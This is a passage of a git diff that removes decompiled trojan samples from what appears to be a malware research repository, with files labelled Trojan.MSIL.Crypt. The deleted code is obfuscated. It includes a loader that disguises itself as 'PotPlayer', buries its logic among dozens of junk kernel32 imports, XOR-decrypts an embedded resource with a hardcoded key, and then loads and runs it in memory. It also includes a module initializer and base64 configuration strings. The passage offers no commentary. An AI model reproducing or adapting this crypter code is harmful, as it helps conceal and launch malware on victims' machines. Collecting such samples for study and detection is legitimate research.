label_10; - } - else - break; - } - int num4 = num3; - int num5 = num2; - goto label_15; -label_10: - while (num1 < 288) - codeLengths[num1++] = (byte) 8; - \u0006.\u0006.\u0004.\u0001 = new \u0006.\u0006.\u0004(codeLengths); - codeLengths = new byte[32]; -label_12: - num1 = 0; -label_14: - num5 = num1; - num4 = 32; -label_15: - if (num5 < num4) - { - codeLengths[num1++] = (byte) 5; - goto label_14; - } - else if (true) - \u0006.\u0006.\u0004.\u0002 = new \u0006.\u0006.\u0004(codeLengths); - else - goto label_7; - } - - public \u0004(byte[] codeLengths) => \u0001.\u0001(codeLengths, this); - } - - internal sealed class \u0005 - { - private const int \u0001 = 0; - private const int \u0002 = 1; - private const int \u0003 = 2; - private const int \u0004 = 3; - private const int \u0005 = 4; - private const int \u0006 = 5; - internal static readonly int[] \u0001; - internal static readonly int[] \u0002; - internal byte[] \u0001; - internal byte[] \u0002; - internal \u0006.\u0006.\u0004 \u0001; - internal int \u0007; - internal int \u0008; - internal int \u000E; - internal int \u000F; - internal int \u0010; - internal int \u0011; - internal byte \u0001; - internal int \u0012; - internal static readonly int[] \u0003; - - static \u0005() - { -label_0: - int length1 = 3; - int length2; - while (true) - { - int[] numArray1 = new int[length1]; - // ISSUE: field reference - RuntimeHelpers.InitializeArray((Array) numArray1, __fieldref (\u0001.\u0001)); - \u0006.\u0006.\u0005.\u0001 = numArray1; - do - { - if (true) - { - length2 = 3; - if (length2 != 0) - { - int[] numArray2 = new int[length2]; - // ISSUE: field reference - RuntimeHelpers.InitializeArray((Array) numArray2, __fieldref (\u0001.\u0001)); - \u0006.\u0006.\u0005.\u0002 = numArray2; - } - else - goto label_6; - } - else - goto label_0; - } - while (false); - length2 = 19; -label_6: - if (length2 == 0) - length1 = length2; - else - break; - } - int[] numArray = new int[length2]; - // ISSUE: field reference - RuntimeHelpers.InitializeArray((Array) numArray, __fieldref (\u0001.\u0001)); - \u0006.\u0006.\u0005.\u0003 = numArray; - } - } - - internal sealed class \u0006 - { - private const int \u0001 = 4; - private const int \u0002 = 8; - private const int \u0003 = 16; - private const int \u0004 = 20; - private const int \u0005 = 28; - private const int \u0006 = 30; - internal int \u0007 = 16; - internal long \u0001 = 0; - internal \u0006.\u0006.\u000E \u0001; - internal \u0006.\u0006.\u0008 \u0001; - - public \u0006() - { - this.\u0001 = new \u0006.\u0006.\u000E(); - this.\u0001 = new \u0006.\u0006.\u0008(this.\u0001); - } - - public long TotalOut => this.\u0001; - - public bool IsFinished - { - get - { - int num1 = this.\u0007; - int num2; - int num3; - int num4; - while (true) - { - int num5 = 30; - while (true) - { - if (num1 == num5) - goto label_9; - else - goto label_7; -label_4: - if (true) - { - num3 = 0; - if (num3 != 0) - { - num5 = num3; - num1 = num2; - continue; - } - goto label_6; - } - else - break; -label_7: - num4 = 0; - if (num4 != 0) - { - num2 = num4; - goto label_4; - } - else - goto label_3; -label_9: - num2 = this.\u0001.\u0002; - goto label_4; - } - num1 = num2; - } -label_6: - return num2 == num3; -label_3: - return num4 != 0; - } - } - - public bool IsNeedingInput => \u0001.\u0001(this.\u0001); - } - - internal sealed class \u0007 - { - private const int \u0001 = 16384; - private const int \u0002 = 286; - private const int \u0003 = 30; - private const int \u0004 = 19; - private const int \u0005 = 16; - private const int \u0006 = 17; - private const int \u0007 = 18; - private const int \u0008 = 256; - internal static readonly int[] \u0001; - internal static readonly byte[] \u0001; - internal \u0006.\u0006.\u000E \u0001; - internal \u0006.\u0006.\u0007.\u0001 \u0001; - internal \u0006.\u0006.\u0007.\u0001 \u0002; - internal \u0006.\u0006.\u0007.\u0001 \u0003; - internal short[] \u0001; - internal byte[] \u0002; - internal int \u000E; - internal int \u000F; - internal static readonly short[] \u0002; - internal static readonly byte[] \u0003; - internal static readonly short[] \u0003; - internal static readonly byte[] \u0004; - - static \u0007() - { -label_0: - \u0006.\u0006.\u0007.\u0001 = new int[19] - { - 16, - 17, - 18, - 0, - 8, - 7, - 9, - 6, - 10, - 5, - 11, - 4, - 12, - 3, - 13, - 2, - 14, - 1, - 15 - }; -label_1: - \u0006.\u0006.\u0007.\u0001 = new byte[16] - { - (byte) 0, - (byte) 8, - (byte) 4, - (byte) 12, - (byte) 2, - (byte) 10, - (byte) 6, - (byte) 14, - (byte) 1, - (byte) 9, - (byte) 5, - (byte) 13, - (byte) 3, - (byte) 11, - (byte) 7, - (byte) 15 - }; - \u0006.\u0006.\u0007.\u0002 = new short[286]; - \u0006.\u0006.\u0007.\u0003 = new byte[286]; - int index; - if (true) - { - index = 0; - goto label_23; - } - else - goto label_7; -label_4: - if (true) - { - \u0006.\u0006.\u0007.\u0003[index++] = (byte) 8; - goto label_23; - } - else - goto label_8; -label_7: - \u0006.\u0006.\u0007.\u0003[index++] = (byte) 9; -label_8: - if (index < 256) - { - \u0006.\u0006.\u0007.\u0002[index] = \u0001.\u0001(256 + index << 7); - goto label_7; - } - else - { - if (true) - { - while (true) - { - int num1 = index; -label_13: - if (num1 < 280) - { - \u0006.\u0006.\u0007.\u0002[index] = \u0001.\u0001(index - 256 << 9); - if (true) - \u0006.\u0006.\u0007.\u0003[index++] = (byte) 7; - else - goto label_0; - } - else - { - for (; index < 286; \u0006.\u0006.\u0007.\u0003[index++] = (byte) 8) - \u0006.\u0006.\u0007.\u0002[index] = \u0001.\u0001(index - 88 << 8); - \u0006.\u0006.\u0007.\u0003 = new short[30]; - \u0006.\u0006.\u0007.\u0004 = new byte[30]; - if (true) - { - int num2; - for (index = 0; index < 30; index = num2 + 1) - { - \u0006.\u0006.\u0007.\u0003[index] = \u0001.\u0001(index << 11); - if (true) - { - \u0006.\u0006.\u0007.\u0004[index] = (byte) 5; - num2 = index; - if (false) - { - num1 = num2; - goto label_13; - } - } - else - goto label_1; - } - break; - } - goto label_4; - } - } - return; - } - goto label_0; - } -label_23: - if (index < 144) - { - \u0006.\u0006.\u0007.\u0002[index] = \u0001.\u0001(48 + index << 8); - goto label_4; - } - else - goto label_8; - } - - public \u0007(\u0006.\u0006.\u000E pending) - { - this.\u0001 = pending; - this.\u0001 = new \u0006.\u0006.\u0007.\u0001(this, 286, 257, 15); - this.\u0002 = new \u0006.\u0006.\u0007.\u0001(this, 30, 1, 15); - this.\u0003 = new \u0006.\u0006.\u0007.\u0001(this, 19, 4, 7); - this.\u0001 = new short[16384]; - this.\u0002 = new byte[16384]; - } - - public sealed class \u0001 - { - public short[] \u0001; - public byte[] \u0001; - public int \u0001; - public int \u0002; - internal short[] \u0002; - internal int[] \u0001; - internal int \u0003; - internal \u0006.\u0006.\u0007 \u0001; - - public \u0001(\u0006.\u0006.\u0007 dh, int elems, int minCodes, int maxLength) - { - this.\u0001 = dh; - this.\u0001 = minCodes; - this.\u0003 = maxLength; - this.\u0001 = new short[elems]; - this.\u0001 = new int[maxLength]; - } - } - } - - internal sealed class \u0008 - { - private const int \u0001 = 258; - private const int \u0002 = 3; - private const int \u0003 = 32768; - private const int \u0004 = 32767; - private const int \u0005 = 32768; - private const int \u0006 = 32767; - private const int \u0007 = 5; - private const int \u0008 = 262; - private const int \u000E = 32506; - private const int \u000F = 4096; - internal int \u0010; - internal short[] \u0001; - internal short[] \u0002; - internal int \u0011; - internal int \u0012; - internal bool \u0001; - internal int \u0013; - internal int \u0014; - internal int \u0015; - internal byte[] \u0001; - internal byte[] \u0002; - internal int \u0016; - internal int \u0017; - internal int \u0018; - internal \u0006.\u0006.\u000E \u0001; - internal \u0006.\u0006.\u0007 \u0001; - - public \u0008(\u0006.\u0006.\u000E pending) - { - this.\u0001 = pending; - this.\u0001 = new \u0006.\u0006.\u0007(pending); - this.\u0001 = new byte[65536]; - this.\u0001 = new short[32768]; - this.\u0002 = new short[32768]; - this.\u0013 = this.\u0014 = 1; - } - } - - internal sealed class \u000E - { - protected internal byte[] \u0001 = new byte[65536]; - internal int \u0001 = 0; - internal int \u0002 = 0; - internal uint \u0001 = 0; - internal int \u0003 = 0; - - public int BitCount => this.\u0003; - - public bool IsFlushed => this.\u0002 == 0; - } - - internal sealed class \u000F : MemoryStream - { - public \u000F() - { - } - - public \u000F(byte[] buffer) - : base(buffer, false) - { - } - } - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.gtj-37194e4c8b075c04cfb403842d3089bdcb2a71aadc48682f02af8e709100417b/_003CModule_003E.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.gtj-37194e4c8b075c04cfb403842d3089bdcb2a71aadc48682f02af8e709100417b/_003CModule_003E.cs deleted file mode 100644 index 2ca992be..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.gtj-37194e4c8b075c04cfb403842d3089bdcb2a71aadc48682f02af8e709100417b/_003CModule_003E.cs +++ /dev/null @@ -1,16 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: -// Assembly: dno_ebanoe, Version=10.1.2.5, Culture=neutral, PublicKeyToken=null -// MVID: 309D9199-0867-40C5-B2E8-3B9E89A70B78 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00002-msil\Trojan.MSIL.Crypt.gtj-37194e4c8b075c04cfb403842d3089bdcb2a71aadc48682f02af8e709100417b.exe - -using \u0005; - -internal class \u003CModule\u003E -{ - static \u003CModule\u003E() - { - \u0001.\u0001(); - \u0001.\u0001(); - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.gtj-37194e4c8b075c04cfb403842d3089bdcb2a71aadc48682f02af8e709100417b/{c67dda5a-9bb5-4e0f-8e31-b703dc4211a7} b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.gtj-37194e4c8b075c04cfb403842d3089bdcb2a71aadc48682f02af8e709100417b/{c67dda5a-9bb5-4e0f-8e31-b703dc4211a7} deleted file mode 100644 index ae8d6547..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.gtj-37194e4c8b075c04cfb403842d3089bdcb2a71aadc48682f02af8e709100417b/{c67dda5a-9bb5-4e0f-8e31-b703dc4211a7} +++ /dev/null @@ -1 +0,0 @@ - UmVzRmlsZTE= UmVzRmlsZTI= fHxTUExJVHx8RkFMU0V8fFNQTElUfHw=$fHxTUExJVHx8V2luVXBkdHJ8fFNQTElUfHw=Q3JwTW9kLkNycE1vZA== d0NLVkxZZkU= QUlOWHlLWQ== TUlOZFdjVw== am5VU25oa0tqSURwSUg=UnRSZ0w=RVBzbXJDWU5iSQ==UkRYQnA= c0dMTGFVR1VzbnhzcEF5TGZWbkVlWVZsSg== aFJzZ01xWFk=T3FNWVZIWENrVQ== RERNRFJ3T3JE YkNVYUJzcw==aVFyZQ==U1VVVw==aEFPV2JGd0tSVFg= a2tHaERUSW8=VFdvUURx dldmVkRsVg==Z1hHbw==d09K RVBTT0tDeVlY SklLYU1LWFJO UllLRFFmbmQ=d25Fa2psVGZU QUhUSUpPTU0=dUNJTkxBTFNvWVQ=S2xUU0JpRFNFRFY=RklzRUpRUWE= TVZWaFdzcldX dHJvb2xsbA==Q2hybVJlc0ZpbGVyZHI=UE9JQUc=R0Rxb2s= Y1VEalRYWVM=Um9TTG9YbUhEcA==TUlKTEM=RFVrbg== dE1BZlhRSA== RW91WUpwTEVYT2NUR1NORlNZ \ No newline at end of file diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.guf-4a7319d0adca92f956c883bd8d2818cb8504a1c44727514691d09336de28abdc/AssemblyInfo.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.guf-4a7319d0adca92f956c883bd8d2818cb8504a1c44727514691d09336de28abdc/AssemblyInfo.cs deleted file mode 100644 index 52e28180..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.guf-4a7319d0adca92f956c883bd8d2818cb8504a1c44727514691d09336de28abdc/AssemblyInfo.cs +++ /dev/null @@ -1,15 +0,0 @@ -using System.Reflection; -using System.Resources; -using System.Runtime.InteropServices; - -[assembly: NeutralResourcesLanguage("en-US")] -[assembly: AssemblyTitle("PotPlayer")] -[assembly: ComVisible(true)] -[assembly: AssemblyDescription("PotPlayer")] -[assembly: AssemblyFileVersion("0.0.0.0")] -[assembly: Guid("0ca65eb8-edef-42c2-85d8-a5ab5a69e93b")] -[assembly: AssemblyCopyright("PotPlayer")] -[assembly: AssemblyCompany("PotPlayer")] -[assembly: AssemblyTrademark("PotPlayer")] -[assembly: AssemblyProduct("PotPlayer")] -[assembly: AssemblyVersion("0.0.0.0")] diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.guf-4a7319d0adca92f956c883bd8d2818cb8504a1c44727514691d09336de28abdc/Module1.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.guf-4a7319d0adca92f956c883bd8d2818cb8504a1c44727514691d09336de28abdc/Module1.cs deleted file mode 100644 index 98662d53..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.guf-4a7319d0adca92f956c883bd8d2818cb8504a1c44727514691d09336de28abdc/Module1.cs +++ /dev/null @@ -1,433 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: BAIbA.Module1 -// Assembly: wKCTT, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: DDC8B6C8-A5ED-4BE4-9FE2-661AC89DF657 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00002-msil\Trojan.MSIL.Crypt.guf-4a7319d0adca92f956c883bd8d2818cb8504a1c44727514691d09336de28abdc.exe - -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.Reflection; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; -using System.Text; - -namespace BAIbA -{ - [StandardModule] - internal sealed class Module1 - { - [DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern byte[] BZOcA([MarshalAs(UnmanagedType.VBByRefStr)] ref string PBhDD, string[] RpDmz, char GvHyR); - - [DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern byte[] cSGOa([MarshalAs(UnmanagedType.VBByRefStr)] ref string BtDou, string[] qEUXp, char rWLYi); - - [DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern byte[] ySlYy([MarshalAs(UnmanagedType.VBByRefStr)] ref string oXddc, string[] gAKAw, char PPNcf); - - [DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern byte[] BvKTn([MarshalAs(UnmanagedType.VBByRefStr)] ref string CNsCM, string[] nxZgZ, char UhTEe); - - [DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern byte[] JdFZs([MarshalAs(UnmanagedType.VBByRefStr)] ref string ZeNqn, string[] KgYwt, char YVkUt); - - [DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern byte[] RbVyW([MarshalAs(UnmanagedType.VBByRefStr)] ref string hEIFY, string[] kttsx, char XbiHa); - - [DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern byte[] Mpsvn([MarshalAs(UnmanagedType.VBByRefStr)] ref string JbXTm, string[] oPlpT, char WjwVV); - - [DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern byte[] xUAuG([MarshalAs(UnmanagedType.VBByRefStr)] ref string tAjLj, string[] uoIqH, char wOGLC); - - [DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern byte[] mWPLX([MarshalAs(UnmanagedType.VBByRefStr)] ref string rmDSx, string[] YBfCW, char vwuzk); - - [DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern byte[] ryFqp([MarshalAs(UnmanagedType.VBByRefStr)] ref string UvypF, string[] rVXRq, char JEsIS); - - [DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern byte[] zzmmG([MarshalAs(UnmanagedType.VBByRefStr)] ref string VjKeL, string[] izJzx, char rLIdH); - - [DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern byte[] NealR([MarshalAs(UnmanagedType.VBByRefStr)] ref string TMakO, string[] oAiGC, char ovlSJ); - - [DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern byte[] HKDEu([MarshalAs(UnmanagedType.VBByRefStr)] ref string EgIsO, string[] JFUfO, char nBZOc); - - [DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern byte[] APBhD([MarshalAs(UnmanagedType.VBByRefStr)] ref string DRpDm, string[] zGvHy, char RcSGO); - - [DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern byte[] aBtDo([MarshalAs(UnmanagedType.VBByRefStr)] ref string uqEUX, string[] prWLY, char iySlY); - - [DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern byte[] yoXdd([MarshalAs(UnmanagedType.VBByRefStr)] ref string cgAKA, string[] wPPNc, char fBvKT); - - [DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern byte[] nCNsC([MarshalAs(UnmanagedType.VBByRefStr)] ref string MnxZg, string[] ZUhTE, char eJdFZ); - - [DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern byte[] sZeNq([MarshalAs(UnmanagedType.VBByRefStr)] ref string nKgYw, string[] tYVkU, char tRbVy); - - [DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern byte[] WhEIF([MarshalAs(UnmanagedType.VBByRefStr)] ref string qVfge, string[] jIHCy, char JKbfh); - - [DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern byte[] MyGUq([MarshalAs(UnmanagedType.VBByRefStr)] ref string NauBc, string[] qmCiO, char PjsYg); - - [DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern byte[] WfTVv([MarshalAs(UnmanagedType.VBByRefStr)] ref string Vhbtc, string[] zjtzv, char ONnuw); - - [DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern byte[] UdNET([MarshalAs(UnmanagedType.VBByRefStr)] ref string kqLAI, string[] miihm, char BelEc); - - [DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern byte[] brhkc([MarshalAs(UnmanagedType.VBByRefStr)] ref string WePIo, string[] dxofs, char RllMM); - - [DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern byte[] zPCxS([MarshalAs(UnmanagedType.VBByRefStr)] ref string wXmym, string[] jdvsD, char zLDJN); - - [DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern byte[] opKHV([MarshalAs(UnmanagedType.VBByRefStr)] ref string tbYXW, string[] IaiNT, char yyxRn); - - [DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern byte[] gnAse([MarshalAs(UnmanagedType.VBByRefStr)] ref string uxWsS, string[] uMPYt, char GYvPZ); - - [DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern byte[] REpbR([MarshalAs(UnmanagedType.VBByRefStr)] ref string Mlzhy, string[] koFRW, char uHLgE); - - [DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern byte[] bgcor([MarshalAs(UnmanagedType.VBByRefStr)] ref string Icdmw, string[] rCkRB, char qlaUF); - - [DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern byte[] DGZTw([MarshalAs(UnmanagedType.VBByRefStr)] ref string TivuK, string[] FSPiw, char paOLe); - - [DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern byte[] IJMkY([MarshalAs(UnmanagedType.VBByRefStr)] ref string AUrZp, string[] oDxFW, char YfUSK); - - public static object LZdNE(byte[] PunuM, string vCkcH) - { - Array.Reverse((Array) PunuM); - byte num1 = PunuM[checked (PunuM.Length - 1)]; - byte[] bytes = Encoding.ASCII.GetBytes(vCkcH); - byte[] array = new byte[checked (PunuM.Length + 1)]; - int index1 = 0; - int num2 = checked (PunuM.Length - 1); - int index2 = 0; - while (index2 <= num2) - { - array[index2] = (byte) ((int) PunuM[index2] ^ (int) num1 ^ (int) bytes[index1]); - Array.Reverse((Array) bytes); - if (index1 == checked (bytes.Length - 1)) - index1 = 0; - else - checked { ++index1; } - checked { ++index2; } - } - Array.Resize(ref array, checked (array.Length - 2)); - return (object) array; - } - - [DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern byte[] ZWpLW([MarshalAs(UnmanagedType.VBByRefStr)] ref string rYDyx, string[] lByCh, char vdugk); - - [DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern byte[] KywqP([MarshalAs(UnmanagedType.VBByRefStr)] ref string UcyBc, string[] MknRN, char MisnS); - - [DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern byte[] gzZmh([MarshalAs(UnmanagedType.VBByRefStr)] ref string VEKJL, string[] FzsWe, char rqIKH); - - [DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern byte[] YetlV([MarshalAs(UnmanagedType.VBByRefStr)] ref string TUaRO, string[] VgWGE, char oFlkH); - - [DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern byte[] tKxEb([MarshalAs(UnmanagedType.VBByRefStr)] ref string EHIMV, string[] sFnfb, char nTZoc); - - [DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern byte[] lPThj([MarshalAs(UnmanagedType.VBByRefStr)] ref string Dkpxm, string[] Abcaf, char RLSuO); - - [DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern byte[] IBbeC([MarshalAs(UnmanagedType.VBByRefStr)] ref string uLEmX, string[] VrXNm, char iSfYY); - - [DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern byte[] foWdw([MarshalAs(UnmanagedType.VBByRefStr)] ref string czArA, string[] dBpNv, char fpvrT); - - [DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern byte[] XjqsE([MarshalAs(UnmanagedType.VBByRefStr)] ref string MXxzg, string[] mUGTj, char eediZ); - - [DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern byte[] ahxNN([MarshalAs(UnmanagedType.VBByRefStr)] ref string ndgNw, string[] aYRkM, char tkboy); - - [DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern byte[] ihCCw([MarshalAs(UnmanagedType.VBByRefStr)] ref string YStHs, string[] Diuig, char aspJv); - - [DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern byte[] IJOXl([MarshalAs(UnmanagedType.VBByRefStr)] ref string mOPAq, string[] BWDwR, char VeXzu); - - [DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern byte[] vtyjc([MarshalAs(UnmanagedType.VBByRefStr)] ref string jGoaq, string[] uwoGq, char CUWpL); - - [DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern byte[] WrYDy([MarshalAs(UnmanagedType.VBByRefStr)] ref string xlByC, string[] hvdug, char kKywq); - - [DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern byte[] PUcyB([MarshalAs(UnmanagedType.VBByRefStr)] ref string cMknR, string[] NMisn, char SgzZm); - - [DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern byte[] hVEKJ([MarshalAs(UnmanagedType.VBByRefStr)] ref string LFzsW, string[] erqIK, char HYetl); - - [DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern byte[] VTUaR([MarshalAs(UnmanagedType.VBByRefStr)] ref string OVgWG, string[] EoFlk, char HtKxE); - - [DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern byte[] bEHIM([MarshalAs(UnmanagedType.VBByRefStr)] ref string VsFnf, string[] bnTZo, char clPTh); - - [DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern byte[] jDkpx([MarshalAs(UnmanagedType.VBByRefStr)] ref string mAbca, string[] fRLSu, char OIBbe); - - [DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern byte[] CuLEm([MarshalAs(UnmanagedType.VBByRefStr)] ref string XVrXN, string[] miSfY, char YfoWd); - - [DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern byte[] wczAr([MarshalAs(UnmanagedType.VBByRefStr)] ref string AdBpN, string[] vfpvr, char TXjqs); - - [DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern byte[] EMXxz([MarshalAs(UnmanagedType.VBByRefStr)] ref string gmUGT, string[] jeedi, char ZahxN); - - [DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern byte[] NndgN([MarshalAs(UnmanagedType.VBByRefStr)] ref string waYRk, string[] Mtkbo, char yihCC); - - [DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern byte[] wYStH([MarshalAs(UnmanagedType.VBByRefStr)] ref string sDiui, string[] gaspJ, char vIJOX); - - [DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern byte[] lmOPA([MarshalAs(UnmanagedType.VBByRefStr)] ref string qBWDw, string[] RVeXz, char uvtyj); - - [DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern byte[] cjGoa([MarshalAs(UnmanagedType.VBByRefStr)] ref string quwoG, string[] qCUWp, char LWrYD); - - [DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern byte[] yxlBy([MarshalAs(UnmanagedType.VBByRefStr)] ref string Chvdu, string[] gkKyw, char qPUcy); - - [DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern byte[] BcMkn([MarshalAs(UnmanagedType.VBByRefStr)] ref string RNMis, string[] nSgzZ, char mhVEK); - - [DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern byte[] JLFzs([MarshalAs(UnmanagedType.VBByRefStr)] ref string WerqI, string[] KHYet, char lVTUa); - - [DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern byte[] ROVgW([MarshalAs(UnmanagedType.VBByRefStr)] ref string GEoFl, string[] kHtKx, char EbEHI); - - [DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern byte[] MuvUF([MarshalAs(UnmanagedType.VBByRefStr)] ref string LnRVq, string[] PTsMh, char iglVD); - - [DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern byte[] UkwwJ([MarshalAs(UnmanagedType.VBByRefStr)] ref string DZKjy, string[] rbPJg, char PHblI); - - [DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern byte[] XItCr([MarshalAs(UnmanagedType.VBByRefStr)] ref string pAzSR, string[] IgIAJ, char ebyXs); - - [DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern byte[] khsLN([MarshalAs(UnmanagedType.VBByRefStr)] ref string thqFL, string[] moCpu, char RsNhh); - - [DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern byte[] glOFV([MarshalAs(UnmanagedType.VBByRefStr)] ref string WGHdg, string[] jbzFO, char racwM); - - [DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern byte[] eroBk([MarshalAs(UnmanagedType.VBByRefStr)] ref string LLltU, string[] iEhUB, char xBicu); - - [DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern byte[] eWkvE([MarshalAs(UnmanagedType.VBByRefStr)] ref string xPaow, string[] xOfaT, char YlsKZ); - - [DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern byte[] Pojki([MarshalAs(UnmanagedType.VBByRefStr)] ref string nNfmR, string[] edtjm, char dRfKO); - - [DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern byte[] qezpg([MarshalAs(UnmanagedType.VBByRefStr)] ref string uYnna, string[] aELBy, char AxVnz); - - [DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern byte[] olfxu([MarshalAs(UnmanagedType.VBByRefStr)] ref string SWJAG, string[] MqrHG, char NvcUV); - - public static void qcTam() - { - Type type = Assembly.Load((byte[]) Module1.LZdNE(BAIbA.My.Resources.Resources.eoiJcuFic, "VVLvBtUXEZYPjBXGgeWVuWwPJ")).GetType("ClassLibrary1.Class1"); - object objectValue = RuntimeHelpers.GetObjectValue(Activator.CreateInstance(type)); - type.InvokeMember("Main", BindingFlags.InvokeMethod, (Binder) null, RuntimeHelpers.GetObjectValue(objectValue), (object[]) null); - } - - [DllImport("kernel32", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int GlobalHandle(byte[] wMem); - - [DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern byte[] spJiI([MarshalAs(UnmanagedType.VBByRefStr)] ref string yuIBm, string[] OvYcB, char WRjTP); - - [DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern byte[] SImuv([MarshalAs(UnmanagedType.VBByRefStr)] ref string tyVdk, string[] Fbaqu, char xoGdV); - - [DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern byte[] UnqKn([MarshalAs(UnmanagedType.VBByRefStr)] ref string rUEly, string[] NNyOX, char wDvZl); - - [DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern byte[] KlwqP([MarshalAs(UnmanagedType.VBByRefStr)] ref string sFyPF, string[] KBoRK, char JCsnS); - - [DllImport(" kernel32", 